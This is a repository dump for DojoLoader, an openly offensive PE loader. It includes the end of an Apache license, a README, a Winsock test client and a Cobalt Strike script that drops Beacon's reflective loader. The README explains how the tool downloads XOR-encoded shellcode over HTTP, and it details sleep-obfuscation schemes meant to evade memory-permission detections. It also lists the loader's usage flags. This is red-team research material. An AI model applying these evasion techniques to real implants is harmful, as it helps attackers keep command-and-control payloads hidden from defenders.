42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [](https://twitter.com/intent/follow?screen_name=naksyn)
2 |
3 | # DojoLoader
4 |
5 | Generic PE loader for fast prototyping evasion techniques
6 |
7 | 
8 |
9 | # What is it
10 |
11 | DojoLoader is a generic PE loader initially created to prototype sleep obfuscation techniques with Cobalt Strike UDRL-less raw Beacon payload, in an attempt to reduce debugging time with UDRLs.
12 |
13 | [You can read this blog post for more insight on the journey](https://www.naksyn.com/cobalt%20strike/2024/07/02/raising-beacons-without-UDRLs-teaching-how-to-sleep.html).
14 |
15 | DojoLoader borrows MemoryModule implementation of the [DynamicDllLoader](https://gitlab.com/ORCA000/dynamicdllloader) project by ORCA000 and expands on that adding modularity and the following features:
16 | 1. download and execution of (xored) shellcode from HTTP of from file
17 | 2. dynamic IAT hooking for Sleep function
18 | 3. Three different Sleep obfuscation techinques implemented in the hook library
19 | * RW->RX
20 | * MemoryBouncing
21 | * MemoryHopping
22 |
23 | **Rw->RX** sleep obfuscation is a classic RW -> encrypt -> Sleep -> decrypt -> RX -> RW -> encrypt scheme.
24 |
25 | **MemoryBouncing** is a diferent (from publicly available techniques) sleep obfuscation that aims to evade public RX->RW detections and involves the following steps:
26 |
27 | 1. Copy mapped PE to a buffer and encrypt it
28 | 2. Free mapped PE address
29 | 3. do sleep time (e.g. SleepEx)
30 | 4. Allocate RWX address on the same address were PE was mapped
31 | 5. deecrypt the buffer and copy it over the RWX memory
32 |
33 | RX->RW detection is evaded by avoiding VirtualProtect and hiding the payload during sleep by freeing the payload memory area.
34 |
35 | https://github.com/naksyn/DojoLoader/assets/59816245/30c092ac-dc2f-4842-980e-8d38f54d5027
36 |
37 |
38 | **MemoryHopping** is another different (from publicly available techniques) sleep obfuscation that aims to evade public RX->RW detections and involves the following steps:
39 |
40 | 1. save the return address
41 | 2. copy the mapped PE bytes to a buffer and optionally encrypt it
42 | 3. Free the memory of the mapped payload
43 | 4. allocate RWX memory on a different address
44 | 5. calculate delta and adjust the return address accordingly
45 | 6. copy bytes from the buffer to the newly created memory region
46 | 7. perform relocations on the copied bytes
47 | 8. resume execution form the adjusted return address
48 |
49 | https://github.com/naksyn/DojoLoader/assets/59816245/2111a6b4-0f7c-46b6-8f69-54ba79a96c04
50 |
51 | # Usage
52 | To use the loader with Cobalt Strike Beacon, generate first a UDRL-less payload using the cna in the Utils folder and -beacon flag with the loader.
53 |
54 | ```
55 | Usage: -d | -f [-k ] [-s ] [-beacon]
56 | Options:
57 | -d -download Load PE from the specified URL
58 | -f -file Load PE from the specified file
59 | -k -key XOR the payload with the specified key
60 | -s -sleep <1 (membounce),2 (memhop),3 (RWRX)> Sleep Obfuscation techniques:
61 | 1 or membounce for MemoryBouncing
62 | 2 or memhop for Memory Hopping (choose a compatible payload)
63 | 3 or RWRX for classic RW->RX
64 | -beacon use Cobalt Strike UDRL-les Beacon payload execution method
65 | -h print this help
66 | ```
67 |
--------------------------------------------------------------------------------
/Utils/dummy_socket.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #pragma comment(lib, "ws2_32.lib") // Link against the Winsock library
7 |
8 | // build with x86_64-w64-mingw32-gcc socket.c -o socket_program.exe -lws2_32
9 |
10 | int main() {
11 | WSADATA wsaData;
12 | SOCKET sock;
13 | struct sockaddr_in server;
14 | char recvBuffer[1024];
15 | int recvSize;
16 | int connectionResult;
17 |
18 | // Initialize Winsock
19 | WSAStartup(MAKEWORD(2,2), &wsaData);
20 |
21 | while(1) {
22 | sock = socket(AF_INET, SOCK_STREAM, 0);
23 | if (sock == INVALID_SOCKET) {
24 | printf("Could not create socket : %d" , WSAGetLastError());
25 | return 1;
26 | }
27 |
28 | server.sin_addr.s_addr = inet_addr("127.0.0.1");
29 | server.sin_family = AF_INET;
30 | server.sin_port = htons(81); // Ensure this matches your ncat listening port
31 |
32 |
33 | connectionResult = connect(sock , (struct sockaddr *)&server , sizeof(server));
34 | if (connectionResult < 0) {
35 | printf("Connect failed with error code : %d" , WSAGetLastError());
36 | closesocket(sock);
37 | Sleep(3000);
38 | continue;
39 | }
40 |
41 | printf("Connected\n");
42 |
43 |
44 | recvSize = recv(sock , recvBuffer , sizeof(recvBuffer) , 0);
45 | if(recvSize == SOCKET_ERROR) {
46 | printf("Recv failed with error code : %d" , WSAGetLastError());
47 | } else {
48 | recvBuffer[recvSize] = '\0';
49 | printf("Reply received: %s\n", recvBuffer);
50 | }
51 |
52 | closesocket(sock);
53 | Sleep(3000);
54 | }
55 |
56 | WSACleanup();
57 | return 0;
58 | }
59 |
--------------------------------------------------------------------------------
/Utils/noUDRL.cna:
--------------------------------------------------------------------------------
1 | # ------------------------------------
2 | # $1 = DLLfilename
3 | # $2 = arch
4 | # ------------------------------------
5 |
6 | set BEACON_RDLL_SIZE {
7 | warn("Running 'BEACON_RDLL_SIZE' for DLL " .$1. " with architecture " .$2);
8 | return "0";
9 | }
10 |
11 | set BEACON_RDLL_GENERATE {
12 | local('$arch $beacon $fileHandle $ldr $path $payload');
13 | $beacon = $2;
14 | $arch = $3;
15 |
16 | # Apply the transformations to the beacon payload
17 | $beacon = setup_transformations($beacon, $arch);
18 |
19 | return $beacon;
20 | }
--------------------------------------------------------------------------------